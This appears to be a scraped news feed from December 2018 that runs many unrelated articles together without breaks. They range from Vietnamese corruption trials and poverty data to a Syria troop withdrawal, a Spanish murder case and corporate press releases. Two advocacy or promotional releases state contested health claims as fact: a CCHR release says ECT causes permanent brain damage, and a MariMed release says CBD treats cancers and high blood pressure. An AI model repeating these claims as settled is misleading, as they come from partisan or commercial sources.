it is also intra-national, as in the case of India, Tammy noted. "That is why I said making English an official language in Taiwan lacks historical significance, particularly when English in Taiwan is mainly used for the purpose of international communication instead of intra-national communication," she added. Tammy also raised questions similar to that of Anh: "Can government officials speak English on formal occasions, without interpreters, and convey their meanings properly? Besides, are there enough English teachers to teach all subjects in English in school?" The professor questioned the assumption that Taiwanese will improve their English proficiency level simply because English becomes an official language. "The two do not necessarily correlate well with each other," she said. An English class in Vietnam. Photo by VnExpress Singapores success Dr. Anh felt Vietnam should learn from Singapores experience and success in boosting English proficiency. "Singapore's success today did not just happen suddenly. It was a result of strong and persistent language policies for a few decades," she wrote in an essay published by Thanh Nien. Since Singapore gained its independence in 1965, the use of English has continued to increase, for instance as the language of law and administration. English has been the main medium of education in Singapore since 1987, according to Raymond Hickeys research on Southeast Asian Englishes. Alisher Sharipov, who has an MA in Applied Linguistics and a PhD in Cultural Anthropology and has been teaching English in Vietnam for more than 10 years, did not foresee any complications for Vietnam in actualizing the proposal to make it an official language at the bureaucratic level. However, he said an inclusive public survey was necessary to gather public opinion on the topic. He also felt American English was a more viable option for Vietnam to adopt. "Historically, American English is much more logical just because America was present here on a political level for decades. South Vietnam learnt American management... during the Vietnam War...," Alisher told VnExpress International. "But then, a few decades later, we will most likely have a new form of English, Vietnamese-English like Indian or Filipino English." CLEARWATER, Fla., Dec. 20, 2018 (GLOBE NEWSWIRE) -- The U.S. Food and Drug Administration announced that it will ban a device that delivers painful electrical shocks to the skin to modify behavior in disabled students at the Judge Rotenberg Educational Center (JRC) in Massachusetts. In a publication of its upcoming priorities, FDA Commissioner Dr. Scott Gottlieb said the FDA was planning to issue a final ban of the Graduated Electronic Decelerator (GED) in the fall. [1] But Citizens Commission on Human Rights International (CCHR) , a mental health watchdog established by the Church of Scientology and renowned psychiatrist Dr. Thomas Szasz in 1969, says several media report that the FDA may take another year to ban it, leaving children, adolescents and adults at risk from the device. CCHR says that all electrical devices use to alter behavior should be banned, including the electroconvulsive therapy devices, also known as electroshock or ECT machines. These deliver up to 460 volts to the brain causing a grand mal seizure throughout the body. Click here to sign CCHRs Petition to Ban ECT. A petition started by Gregory Miller to the Speaker of the House of Representatives in Massachusetts calling for a ban on the skin shocks garnered nearly 270,000 signatures before closing about six years ago. It stated, Not only does the JRC need to immediately stop this practice but Massachusetts legislators need to make these shock procedures illegal. It pointed out that students have no voice of their own to describe their pain. They need your help. [2] Yet CCHR says the FDA has failed to speedily provide that help which requires the device to be banned immediately. FDA continues to procrastinate, as it has done with the ECT, electroshock device, putting individuals at risk of devastating harm, stated Jan Eastgate, international president of CCHR. The Inter-American Commission on Human Rights (IACHR) also just issued a formal notice known as precautionary measures that called for immediate cessation of the electric shocks at JRC. In a seven-page resolution, the Washington-based panel said that the practice poses a serious impact on the rights of the vulnerable children at the school, particularly on their right to personal integrity which may be subjected to a form of torture. [3] Both the GED and ECT procedures are equated with torture, added Diane Stein, president of CCHR Florida, and commenting that Florida residents have been treated at JRC. [4] ECT uses anesthesia and muscle relaxants largely in the treatment of depression, while the GED is an external skin shock to control behavior in those with severe emotional, behavioral, psychiatric problems, and autism-like disorders. ECT can cause severe memory loss and permanent brain damagea fact that one of its manufacturers recently admitted. The skin shock works by hooking the students up to electrodes worn on different parts of the body. When the student engages in forbidden behavior, a staff member administers a shock. Some students wear the electrodes as much as 24-hours a day, seven days a week. And sometimes for years, according to the ABC News. [5] Manfred Nowak, the UNs Special Rapporteur on Torture, wrote to the U.S. government in May 2010, appealing to them to investigate. [6] In 2012, another Special Rapporteur on Torture, Juan Mendez, also formally approached the U.S. government concerned about the procedure and how it inflicts pain and suffering tantamount to torture in violation of international law. His remarks followed a video being shown online of then 18-year-old Andre McCollins being given 31 shocks over a seven-hour period in 2002. In the video Andre can be heard screaming and shouting, Help me. Help me. He was restrained with belts, face down on a board as the electricity was discharged into his body. [7] About 90 percent of the centers students are people of color. [8] In 2013, the UN again cited the GED in a report on torture, which stated that the FDA had sent a warning letter to the JRC on 6 December 2012 and that the use of aversive therapy by JRC has been challenged through a variety of state and federal legislative and judicial actions, including the Department of Justices (DOJ) investigation into possible violations of civil rights laws. [9] The DOJ condemned the practice. [10] In a 2007 interview with ABC, the developer of the JRC skin shock system, a doctor, said the procedure has no detrimental effects whatsoever. Further, And if it didnt hurt it wouldnt be effective. It has to hurt enough so that the student wants to avoid showing that behavior again. The price tag per student is $200,000 a year, and is financed by tax dollars. [11] Similarly, psychiatrists dismiss any damage from ECT, while a course of treatments can cost up to $35,000 a year, not including hospitalization costs, in a lucrative $5 billion a year industry. People are encouraged to write to Laurie Lenkel, Director, FDA Office of the Ombudsman, ombuds@oc.fda.gov and demand the Graduated Electronic Decelerator be banned immediatelynot in another years time. You can also write to Tauntons Bristol County Probate and Family Court, which approves the use of GED shock device on JRC students, to protest the courts approval of a procedure criticized for its torturous affects. [12] Write to the Registers Office, Taunton Family and Probate Court, 40 Broadway, Suite 240, Taunton, MA 02780. Disability rights group ADAPT, the American Civil Liberties Union, IACHR and many others have opposed GED shock. [13] Independently, CCHR has campaigned for a ban on all electric shock devices in the treatment of mental disorders, autism or emotional or aggressive behavior, as a violation of fundamental human rights. About CCHR: Initially established by the Church of Scientology and renowned psychiatrist Dr. Thomas Szasz in 1969, CCHRs mission is to eradicate abuses committed under the guise of mental health and enact patient and consumer protections. L. Ron Hubbard, founder of Scientology, first brought psychiatric imprisonment to wide public notice: Thousands and thousands are seized without process of law, every week, over the free world tortured, castrated, killed. All in the name of mental health, he wrote in March 1969. For more information visit www.cchrflorida.org . Media Contact: Diane Stein President, CCHR Florida 727-442-8820 diane@cchrflorida.org www.cchrflorida.org Phan Van Vinh, former director of the General Police Department under the Ministry of Public Security, is in court in Phu Tho Province in northern Vietnam on November 30. Photo by VnExpress/Giang Huy It took courage to bust a $420mln online gambling ring protected for over two years by top Vietnamese cops. On August 30, 2017, Le Xuan Loc, a senior official with the prosecution office of Phu Tho Province, two hours northwest of Hanoi, was assigned to join a team to examine the headquarters of the Hi-Tech Security Development and Investment Co., Ltd, or CNC, in Hanoi. "Do you know what company we are?" CNCs CEO Luu Thi Hong asked Loc and the team. She then called the companys chairman, Nguyen Van Duong, who showed up not a bit scared, but confident. "Nice. Very nice. Provincial policemen dare to come here to examine a company of the ministry," Duong said. His company was then an official security partner of the Ministry of Public Security. He then called Nguyen Thanh Hoa, chief of the ministrys cyber-crime unit, on the phone. But Hoa could not save the firm from the inspection, Duong was arrested late that night. That inspection of CNC was a result of another investigation of a fraud case involving mobile top-up cards that Phu Tho police had been pursuing since May last year. The scammer in that card case claimed he had redeemed all the cards for virtual currencies used in an online gambling card game. To check his claim, investigators spent 105 days tracking down the ring before finding out that it was run using two online game portals that resembled professional casinos in which players could gamble virtual money and convert their winnings to real money. That probe was what led them to CNC. When Loc and others continued the search throughout the night, they found documents leading to Hoa and Phan Van Vinh, who had retired as director of the General Police Department under the Ministry of Public Security in April last year. Nguyen Thanh Hoa, former director of the Department for High-Tech Crime Prevention at the Ministry of Public Security. Photo by VnExpress/Giang Huy In 2011, Hoa of the cyber-crime unit signed an agreement to set up CNC as an economic unit to support its activities in fighting high-tech crime. The agreement was approved by Vinh. Loc and the investigation team were well aware who they had to confront when approaching CNC, but they were determined to press ahead. When they collected enough evidence to launch criminal proceedings against Duong, seven days since he was arrested, the team felt like they had removed a big burden from their shoulders, he recalled. Under the name of an economic unit of the public security ministry, Duong had repeatedly asked for permission from Hoa and Vinh to pilot a gambling network. But long before hed got the green light, he had already worked to set up the gambling service in May 2015 with Phan Sao Nam, founder and former board chairman of major online communications firm VTC. According to investigators, the gambling ring headed by Nam and Duong on web portals Rikvip/Tip.club had established a large network of 25 "tier 1 agencies" and nearly 5,900 "tier 2 agencies" with nearly 43 million user accounts. The illegal ring was found to have generated a total income of over VND9.8 trillion ($426 million) and a profit of VND4.7 trillion. Out of this profit, Nam received nearly VND1.5 trillion, Duong got over VND1.6 trillion while a group of other suspects earned VND1.57 trillion. Vinh had not only turned a blind eye to the formation ofthe ring, but also signed documents to facilitate its formation. Arrest of top cops In January 2018, the police summoned Vinh and Hoa. Six investigators of Phu Tho were assigned to work with the top cops. Loc said the police had trouble with Hoa as he kept saying he was sick. He actually stayed at a hospital in Hanoi. "We traveled from Phu Tho to Hanoi several times but he did not cooperate," Loc said. "One time I came to the hospital and he said he had a headache, but just after we left the hospital, we saw him driving a motorbike out of there." On March 11, Phu Tho prosecutors granted the police the arrest warrant. They came to the hospital and took Hoa away after doctors said he was fine. Vinh was more cooperative. He was arrested when meeting with the police on April 6, 220 days after Duong's arrest. He had asked not to be taken at home. At a court in Phu Tho in November, Vinh was sentenced to nine years in jail while Hoa got 10 years for "abusing power or position in the performance of official duties." They were also fined VND100 million ($4,300) each. For organizing gambling and money laundering, Duong got 10 years in jail while Nam got five years. Six million Vietnamese lifted out of poverty in five years: report A H'Mong boy ploughs his family's terraced rice field in the northern Ha Giang Province. Vietnam has lifted its poverty reduction but minorities are still among the poorer. Photo by VnExpress/Ngoc Thanh In Vietnam, extreme poverty dropped to 2 percent in 2016 but poverty remains widespread among ethnic minorities, a new report shows. The Ministry of Labor, Invalids and Social Affairs and the United Nations Development Program (UNDP) on Tuesday released a multi-dimensional poverty report analyzing the lack of access to five services: healthcare, housing, clean water, toilets and information. Nguyen Thang, one of its authors, said the poverty rate decreased from nearly 16 percent in 2012 to 9 percent in 2016, meaning six million people escaped poverty during this period. The extreme poverty rate, described as earning less than $1.9 per day, dropped to 2 percent. This has seen Vietnam move up nine places from 66th to 57th out of 193 countries in the United Nations for Sustainable Development Index in 2018. According to the report, health access has improved significantly with health insurance enhanced for the entire population. The rate of information deprivation reduced due to the penetration of smartphones and the internet. However, housing and sanitation have not made much progress. But these achievements notwithstanding, the discrepancy in poverty reduction rates between ethnic groups remained wide. In 2016 ethnic minority groups had incomes and expenditures of only half that of the majority groups Kinh and Hoa (of Chinese origins); 44 percent of the ethnic minorities did not have a degree, twice as high as the Kinh and Hoa. Also, almost 80 percent of Kinh and Hoa had access to sanitary latrines, while only 24 percent of ethnic minorities did. "Geographic distance is one of the biggest barriers to improving the well-being of ethnic minorities," the report said. Vietnams progress in poverty reduction is a success on a global scale, according to Caitlin Wiesen, UNDP's Resident Representative in Vietnam. But she said poverty remains in many areas, especially where ethnic minorities live. According to evidence, the multi-dimensional rate poverty in the northwest and Central Highlands, home to most of the minority group communities in the country, is double the national average. In 2016 while the Kinh ethnic groups multi-dimensional poverty rate was 6.4 percent, the ethnic minorities suffered much higher rates: It was 76.2 percent among the H'mong, 37 percent among the Dao and 23.7 percent among the Khmer. Wiesen said Vietnam needs to strengthen support for business development, financial access and incubation for ethnic minority people. "Whether Vietnam can continue to reduce poverty successfully depends on its ability to ensure growth, create better jobs for its people and effectively help those who are left behind." A bank CEO and real estate tycoon have been found guilty in a $154 million graft case. The Ho Chi Minh City Peoples Court Thursday sentenced former CEO of DongA Bank Tran Phuong Binh, fallen Da Nang real estate tycoon Phan Van Anh Vu and 24 others to various prison terms in a massive graft case that is said to have caused losses of more than $154 million for the bank. Tran Phuong Binh, former CEO of DongA Bank, at a trial in HCMC Thursday. Photo by VnExpress/Huu Khoa Binh, 59, who was arrested in 2016, will spend the rest of his life behind bars for "deliberately violating state regulations on economic management, causing serious consequences" and "abusing position and power to appropriate assets," the court ruled. He is held mainly responsible for losses of nearly VND3.5 trillion ($153.8 million) at the partly state-owned bank, which was incurred as the bank had paid interest to customers beyond the regulated rates, committed violations in foreign currency and gold trading, and got involved in a share-buying scheme. Vu, 43, received 17 years for "abuse of power to appropriate property." According to the indictment, in 2013, DongA Bank planned to raise its charter capital from VND5 trillion ($220 million) to VND6 trillion despite having several financial issues. To achieve this goal, Binh convinced Vu to buy 60 million shares in the bank for VND600 billion. To raise cash for the deal, Vu mortgaged a plot of land with the bank to secure a VND400 billion loan. Binh then had his subordinates falsify paperwork for the remaining VND200 billion ($8.8 million). However, the plan to raise the banks capital fell through, so Binh instructed his staff to transfer VND600 billion plus interest to Vu's company, although the latter had only paid VND400 billion to the bank in the original share purchase deal. Investigators concluded that Vu had misappropriated VND200 billion from the bank. He has admitted to this, but claimed he had only been following Binh's instructions. He also repaid the money to minimize the damage incurred by the bank. The rest of the money is no longer retrievable, investigators said. Phan Van Anh Vu, a former property tycoon, at a trial in HCMC on Thursday. Photo by VnExpress/Thanh Nguyen At the Thursday trial, Nguyen Thi Kim Xuyen, former deputy chief executive officer of DongA Bank, got a 30-year jail term for serving as Binhs accomplice. Other defendants received between two-year suspended sentence and 16 years in jail as the trial closed after three weeks. Dong A Bank came under the spotlight in 2014 when it posted a pre-tax profit of just VND35 billion ($1.5 million), down 96 percent from 2013. The bank was placed under special monitoring in August 2015 after an investigation by the central bank uncovered several violations in financial management, lending and other business activities, seriously affecting the bank's financial situation and operations. Vu was one of the biggest property investors in Da Nang. He was the chairman of three major property companies and a shareholder in a number of other projects in the city, usually considered the third most important locality in Vietnam after Hanoi and Ho Chi Minh City. He was arrested in January after being deported from Singapore, and is already serving an eight-year sentence for "deliberately disclosing state secrets." Since his arrest, Vietnam has arrested or opened probe against several senior officials accused of involvement in businesses or schemes controlled by him, including two former chairmen of Da Nang, a former deputy chairman of Ho Chi Minh City and two former deputy police ministers. The anti-corruption campaign spearheaded by Party chief and President Nguyen Phu Trong started with the state-run oil industry, but has since expanded to security, banking and land sectors. Families with two daughters in the southern province of Hau Giang will get cash and congratulatory certificates from provincial authorities as Vietnam faces an aging, male-dominated population. Photo by Shutterstock/Chainfoto24 Families with two daughters in Hau Giang will get cash rewards and congratulatory certificates. The move is part of the provinces 2019 to 2025 population policy and the certificates will be issued yearly, as long as the families continue to have exactly two daughters, local media reported, citing Doan Quoc That, deputy chief of the province's legislative Peoples Council. Hamlets in the province that manage to maintain the two-children-per-family population model for three years straight will get VND3 million ($128) and five years VND5 million ($214), as rewards from the Peoples Councils in districts, cities and communes. Districts and towns in the province that manage to maintain the same population model for three and five years straight will get VND15 million and VND25 million, respectively. This is the first time that Hau Giang has embarked on such a population policy, said That. When asked if the new policy was influenced by the gender imbalance in the province, That only said that it was based on Vietnams national policies on population. The total cost to implement the policy from 2019 to 2025 is estimated at over VND17.7 billion ($760,000). This isnt the first time Vietnam has had population policies that reward families for bearing the right number of children. Provinces have rewarded families and districts that met certain population criteria, such as having only one or two children per family, either with cash or certificates. Vietnam has had a maximum two children per couple policy since the 1960s, but the government is now encouraging families to have two children as the country faces gender imbalance issues and an aging population. The male-to-female ratio in Vietnam has been steadily increasing, from 110 boys for every 100 girls born in 2006 to 112 boys for every 100 girls born in 2015, according to official statistics. As many as 4.3 million Vietnamese men are likely to remain lifelong bachelors in the next 30 years, Mai Xuan Phuong, a senior official from the Population and Family Planning under the Health Ministry, told the media at a 2016 workshop. Vietnam reached a turning point in 2015 when it started to become one of the countries with the fastest aging populations in the world, the Ministry of Labor, Invalids and Social Affairs said in a 2016 report. The number of Vietnamese people over the age of 65 will rise from 6.3 million last year to a projected 18 million by 2040, accounting for more than 18 percent of the population and transforming Vietnam from a young society into an old one, the report quoted the United Nations as saying. Nguyen Thien Nhan, then Party chief of HCMC, said at a meeting in July last year that women need to have at least two babies each, warning that the citys current birth rate of 1.46 babies per woman may stall its economic growth. Nguyen Dinh Cu, former head of the Institute for Population and Social Studies,said in a press exchange last year that Vietnam should even scrap its two-child policy altogether. Currently, government officials and Party members who have more than two children would be disciplined, not being entitled for promotion. From grand shopping malls to small alleys, Christmas decorations have sprouted all over the city. Four days before Christmas, many buildings and shopping centers in Saigon are sparkling with colorful lights and decorations. At the city center, the Tan Dinh Cathedrals pink facade has been embellished with strings of star-shaped electric lights hung outside. Le Thanh Hoai, a Saigon resident puts up the glossy ornaments on a Christmas tree in front of a shopping center in District 1. Hoai gets really busy from late November to December every year, he said, since he is hired to decorate many buildings. "I usually work at night, from 10 p.m. to early morning since the shopping centers close at that time, and there are few people around." Hoai has been doing this job for more than 10 years. Van Luan becomes a Santa Claus to sell Christmas souvenirs in front of a shopping center. "I have been doing this job for four years. When the Christmas season is over I will find a new job. These days, the best thing is to take pictures with children." Liya Wetzler, 14, a tourist from Israel, takes a picture for her brother at a shopping center on the Le Loi Pasteur intersection. "The Christmas ambience here is so wonderful, they make beautiful and creative decorations. The Christmas songs played are very meaningful," she said. With "Jingle Bells" playing in the background, people take pictures against Xmas-themed installations. "Every year our family goes to the shopping centers or churches to enjoy the atmosphere. I wish everyone a happy Christmas season," said Nhat Vy, a Saigon resident. Alleys in several neighborhoods are glittering as residents get set to celebrate Xmas and the New Year. Several residents, though, say that they have put up fewer lights than in previous years, because many families have not had enough time to prepare. In a small alley on Pham Van Hai Street, Tan Binh District, locals have created a nativity scene. At the Ho Chi Minh City Cancer Hospital, hospital staff dress up as Santa Claus to give Xmas gifts to the children. Discovery channel names Hue among five must-visit places in Southeast Asia An aerial shot of the ancient royal tomb of Tu Duc, the fourth king of the Nguyen Dynasty. Photo by Shutterstocks/Johnny Tran Vietnams former imperial capital Hue is among the five must-go destinations in Southeast Asia listed by U.S. TV channel Discovery DCODE. Hue was the seat of the Nguyen Dynasty which ruled the country from 1802 until the end of the feudal era in 1945. Located on Vietnams central coast, Hue proceeds at a leisurely pace unlike Hanoi and Ho Chi Minh City. "It is home to the glories of Vietnams feudal past with its Imperial Citadel and royal tombs that have made it a top tourist destination for years," says Discovery DCODE, which belongs to Discovery Channel. The Imperial Citadel at night. Photo by Shutterstocks/Khanh Nguyen Its best to enjoy an authentic Vietnamese dinner while cruising down the iconic Perfume River, Discovery DCODE recommends. "The chilly winter weather can also be a pleasant break from the usual sweltering Southeast Asian heat." The four other regional destinations in the list are Hsipaw in Myanmar, Camiguin in the Philippines, Sihanoukville in Cambodia, and Nan in Thailand. Last October The Travel, a respected Canadian publication, had included Hue in the list of 20 lesser-known Asian destinations. In the first 11 months of this year more than four million tourists visited Thua Thien-Hue Province, up 19.7 percent from a year ago, including 1.73 million foreigners. Visitors from South Korea made up the largest group, accounting for a third of the total foreign visitors. Trump declares victory over IS in Syria, orders US troops home A convoy of U.S. forces armored vehicles drives near the village of Yalanli, on the western outskirts of the northern Syrian city of Manbij, in March 2017. Photo by AFP/Delil Souleiman The Islamic State group has been "beaten" in Syria, U.S. President Donald Trump declared Wednesday. He confirmed his stunning order to pull American ground forces from the war-ravaged nation. The momentous decision to withdraw, which runs counter to long-established U.S. policy for Syria and the region, blindsided lawmakers, the Pentagon and international allies alike. "We've won against ISIS," Trump said in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." A withdrawal could have extraordinary geopolitical ramifications, and plunges into uncertainty the fate of U.S.-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A U.S. official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 U.S. forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction after Trump earlier tweeted that IS had been "defeated." A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack U.S.-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk," while Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the U.S. presence in Syria, saying in March he wanted to bring troops home "soon." But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The U.S. official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." White House spokeswoman Sarah Sanders said the U.S.-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria. These have been ongoing since late 2014. A senior administration official, made available by the White House, said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. "It was the president's decision to make, and he made it." Fate of Kurdish fighters? A large contingent of the main U.S.-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia, known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, U.S. support has strained relations between the NATO allies. In a sign of possible rapprochement, the State Department said it had approved the $3.5 billion sale of Patriot missiles and associated equipment to Turkey. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. 'Short-sighted and naive' A government spokesman for Britain, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," a statement read. Australia Prime Minister Scott Morrison, who was on a pre-Christmas visit to troops stationed in Iraq, highlighted the work of the coalition and its "ongoing commitment to fighting Da'esh and its sympathizers," referring to the IS group. A U.S. presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a U.S. withdrawal," Lister said. IS jihadists swept across large swaths of Syria and neighboring Iraq in 2014, implementing their brutal interpretation of Islamic law in areas they controlled. But they have since seen their dream of a state crumble, as they have lost most of that territory to various offensives. In Syria, IS fighters are holding out in what remains of the pocket that once included Hajin, including the villages of Al-Shaafa and Sousa. Land market may open in Ukraine in two years after respective law passed agrarian ministry Extending the moratorium repeatedly, the government has been delaying the launch of the land market, the official said. If you see a spelling error on our site, select it and press Ctrl+Enter EU to provide Ukraine with EUR 50 mln for decentralization minister The European Union will allocate the funds for the implementation of the U-LEAD with Europe program. If you see a spelling error on our site, select it and press Ctrl+Enter Ukraine launches liquidation of Kremlin-run lender VTB's local subsidiary The liquidation procedure will last two years, until December 18, 2020. If you see a spelling error on our site, select it and press Ctrl+Enter Not for distribution to United States newswire services or for dissemination in the United States TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- PIMCO Canada Corp. (PIMCO Canada) today announced the December 2018 cash distributions for the ETF series (ETF Series) of the PIMCO Canada mutual funds that distribute monthly (Funds). Unitholders of record of the ETF Series, at the close of business on December 24, 2018, will receive per-unit cash distribution payable on January 3, 2019. Details of the per-unit cash distribution amount are as follows: Fund Name Ticker Cash Distribution per Unit PIMCO Monthly Income Fund (Canada) PMIF $ 0.20126 PIMCO Investment Grade Credit Fund (Canada) IGCF $ 0.22124 PIMCO Monthly Income Fund (Canada) US$ PMIF.U US$ 0.08597 The Manager, PIMCO Canada administers and manages the PIMCO Canada ETFs, and retains Pacific Investment Management Company, LLC, (PIMCO), to provide sub-advisory services to the Funds. About PIMCO PIMCO is one of the worlds premier fixed income investment managers. With our launch in 1971 in Newport Beach, California, PIMCO introduced investors to a total return approach to fixed income investing. In the 45+ years since, we have continued to bring innovation and expertise to our partnership with clients seeking the best investment solutions. Today we have offices across the globe and 2,150+ professionals united by a single purpose: creating opportunities for investors in every environment. PIMCO is owned by Allianz S.E., a leading global diversified financial services provider. Forward-Looking Statements Certain statements included in this news release constitute forward-looking statements, including, but not limited to, those identified by the expressions expect, intend, will and similar expressions to the extent they relate to the Funds. The forward-looking statements are not historical facts but reflect the Funds, PIMCO Canadas and/or PIMCOs current expectations regarding future results or events. These forward-looking statements are subject to a number of risks and uncertainties that could cause actual results or events to differ materially from current expectations, including, but not limited to, market factors. Although the Funds, PIMCO Canada and/or PIMCO believes that the assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not guarantees of future performance and, accordingly, readers are cautioned not to place undue reliance on such statements due to the inherent uncertainty therein. The Funds, PIMCO Canada and/or PIMCO undertakes no obligation to update publicly or otherwise revise any forward-looking statement or information whether as a result of new information, future events or other factors which affect this information, except as required by law. Commissions, management fees and expenses all may be associated with an investment in the ETF Series Units. Please read the prospectus and ETF Facts carefully before investing. The ETF Series Units are not guaranteed, their value may change frequently and past performance may not be repeated. For a summary of the risks of an investment in the fund, please see the specific risks of mutual funds section of the prospectus. Units of ETF Series trade like stocks, fluctuate in market value and may trade at a discount to their net asset value, which may increase risk of loss. Distributions are not guaranteed and are subject to change and/or elimination. The products and services provided by PIMCO Canada may only be available in certain provinces or territories of Canada and only through dealers authorized for that purpose. PIMCO Canada has retained PIMCO LLC as sub-adviser. PIMCO Canada will remain responsible for any loss that arises out of the failure of its sub-adviser. Contact: Agnes Crane PIMCO Media Relations Phone: +212 597.1054 Email: agnes.crane@pimco.com Ferroalloy plants in Ukraine may halt due to raised shipping costs UkrFA In particular, railway tariffs for imported manganese raw materials will rise by 25.5%. If you see a spelling error on our site, select it and press Ctrl+Enter Putin claims no obstructions to navigation in Kerch Strait Putin once again asserted that Ukraine allegedly threatened to "blow up" the bridge. If you see a spelling error on our site, select it and press Ctrl+Enter Ukraine quietly extends nuclear fuel supply contract with Russia's TVEL - media The deal was extended to 2025. If you see a spelling error on our site, select it and press Ctrl+Enter The statements provided by the self-confessed killer of a schoolteacher in southern Spain do not match the evidence found by investigators. The police have found many traces of blood inside Bernardo Montoyas home in El Campillo, in the Andalusian province of Huelva. Montoya said that after leaving his victim by some bushes, I placed my hand on her shoulder and told her: Rest in peace An autopsy performed on Tuesday also shows that Laura Luelmo was sexually assaulted before her death, contrary to what Montoya has been claiming since his arrest. In one of the two rooms inside the small house where Montoya, a convicted murderer, had settled after his recent release from prison over an assault and robbery case, experts found biological samples that are being analyzed by the Civil Guard in Huelva. The 26-year-old victim, who had just moved to the area from northern Spain to take up a teaching position, was found dead on Monday after her family reported her disappearance the previous Thursday, when she failed to show up for work or to return calls. Victim Laura Luelmo. Her half-naked body was located in a deserted spot five kilometers outside El Campillo after an extensive search, and showed visible signs of violence, including a blow to the head. The autopsy revealed that Luelmo was alive until December 14 or 15, suggesting that the attacker left his victim to die there. Montoya, 50, had been the prime suspect since the beginning due to his long criminal record that includes stabbing an elderly lady to death in 1995 to stop her from testifying against him in a robbery case. He was arrested on Tuesday after trying to run away from the police, and confessed on Wednesday. In the presence of his lawyer, Montoya stated that he killed the young woman but was unable to rape her despite trying. She asked me where she could find a supermarket and I sent her to a blind alley. I jumped into my car and got there before her. I grabbed her and slammed her head against the door of the car. I tied her hands behind her back and wrapped her in a blanket. I undressed her from the waist down and tried to rape her, but didnt manage it even though she was unconscious, he said, according to a summarized version of the confession provided by the Civil Guard. Bernardo Montoya in a photograph he shared on social media. EL PAIS But investigators have found abundant traces of blood inside the suspects home, which is right across from the house that Luelmo had rented out just a few days earlier. The young woman had noticed Montoya watching her, and told her boyfriend about it in a telephone conversation: I dont like the way hes staring at me. Additionally, the autopsy performed on Tuesday confirmed that Luelmo was sexually assaulted. Investigators believe that Montoya is trying to avoid being tried and sentenced to permanent reviewable imprisonment, which is tantamount to a life sentence with the possibility of review. Only five people are serving this kind of sentence in Spain, where it was introduced in 2015 for particularly heinous crimes that include murder with prior sexual assault. These same sources believe it is very likely that Montoya attacked Luelmo near their homes, which are located on one of the most deserted streets in the village, and then dragged her into the house where he sexually assaulted her, then took the badly injured woman in his car to the spot where he dumped her. The suspect was brought from Civil Guard headquarters in Huelva back to El Campillo, a village of 2,000 residents, to assist investigators with the crime scene reconstruction. Locals standing outside the house yelled Murderer! and We are all Laura! as they banged their fists against the patrol car. Montoya told investigators that after leaving his victim by some bushes, I placed my hand on her shoulder and told her: Rest in peace. A life in and out of jail Oscar Lopez-Fonseca, Jesus A. Canas From the day of his birth on October 13, 1968, Bernardo Montoya has led two different lives. One life was spent between Extremadura, Andalusia and Catalonia. The other was spent behind bars: 20 years and 10 months, according to his criminal record. When he was on the outside, he and his twin brother Luciano also a convicted criminal would terrorize the locals. A former classmate remembers how the brothers once set fire to their fourth-grade classroom at an elementary school in Las Eritas, in Cortegana (Huelva). But when he was in prison, Bernardo Montoya exhibited exemplary behavior so much so that he spent the last portion of his latest sentence inside one of the lower-security modules. He was what is known in prison jargon as a trusted prisoner. He was allowed to perform jobs, which made it easier to apply for leaves. When he was released on October 22, Montoya had been working as the prison locksmith. English version by Susana Urra. MariMed anticipates significant increase to its EBITDA in coming years MariMed well-positioned with strategic partnership and long-term supply agreement with leading U.S. hemp producer, GenCanna Global NORWOOD, MA, Dec. 20, 2018 (GLOBE NEWSWIRE) -- The Hemp CBD Era officially begins with the 2018 Farm Bill signed into law today by President Trump, according to MariMed, Inc . (OTCQB: MRMD), a multi-state cannabis operator and hemp development and distribution company. The landmark legislation, which legalizes industrial hemp, opens doors for MariMed, GenCanna Global (GenCanna) and other US businesses to meet soaring demand for Hemp CBD that analysts expect to grow from todays $800 million to $22 billion by 2022. For the past few years, demand for CBD has far outpaced supply, as consumers discovered CBDs efficacy for treating a range of medical conditions, including pediatric epilepsy, some cancers (and painful cancer treatments), acute anxiety, arthritic and chronic pain, high blood pressure, and various skin conditions, including acne. Legal hemp has the potential to reshape Americas health and wellness landscape, said Charles Finnie, MariMeds Chief Strategy Officer. CBD will likely become a separate industry from the highly regulated, state-legal cannabis industry that remains illegal at the federal level. Lifting federal restrictions on hemp cultivation, research and distribution will enable advanced medical research, as well as increased agricultural production of pharmaceutical-quality CBD products that avoid the side effects and addiction risks of some pharmaceuticals . MariMeds recent $30 million investment in GenCanna, one of the nations largest hemp cultivators and 